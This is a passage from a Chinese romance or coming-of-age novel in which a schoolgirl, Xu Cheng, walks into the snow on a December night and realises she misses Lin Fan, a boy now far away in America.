转过身,却不知道自己该做什么。去收拾桌面,扔抽屉里的垃圾,交没交的作业。明明简单有序的事,突然变得混乱。她丢三落四,这个拿了那个忘了,陷入不知为何而起的乱糟糟的烦闷里。
许橙走下楼,停在楼道口。
路灯的光鲜黄明亮,寒夜里给予一份体贴的温暖,照见大片大片下落的雪花。它们在天地间徘徊,无声无息,像没有生命的白蝶。
许橙望着,望出一种悲伤。王国维说一切景语皆情语,许橙不明白古人为什么有那么多情,现在她仍不明白具体的原因,但心境已然若合一契。
撑开伞,许橙走出教学楼。雪花落在伞面,耳语般簌簌。它们在和她窃窃私语么?可许橙没有倾听,因为她怔在了原地。
楼道口,雨伞,路灯。
这个情景,莫名熟悉。
她几乎能清晰地描摹出,林凡那时候是如何站在这里的。他站立的姿态,说话的样子,以及,那样微微的她当时并不曾闻到的薄荷香。
十二月,他不在这里,可又是哪里来的一点香,盈在了她的鼻尖。
又或是一点思念,盈在心田。
许橙的伞掉在雪地。
雪在一瞬下得大了,缠缠绵绵,纷纷扰扰。它们亲在女孩子的脸颊,融成冷冰冰的水珠,委屈地提醒她,许橙,你现在的脸好烫呀。
天地逆旅,她这个行人,已然失魂落魄。
这些天,她一直在想林凡,今天想得尤其多。为什么呢?是因为别的女孩子送来那些贺卡和信件,也是因为陈秋语。
她说,你现在在美国,以后会去留学。我不知道这是一个什么概念,我只知道,我们现在隔得很远,隔了一太平洋的千雪万雪。
想到从今往后长路漫漫,难以相见,不免眷恋。
为什么?她到底为什么会这样?
许橙战栗在雪里。很久以后,她仰起脸,闭着眼睛,任由一片雪花落在鼻尖。
因为寒冬腊月,你也是我的雪中春信。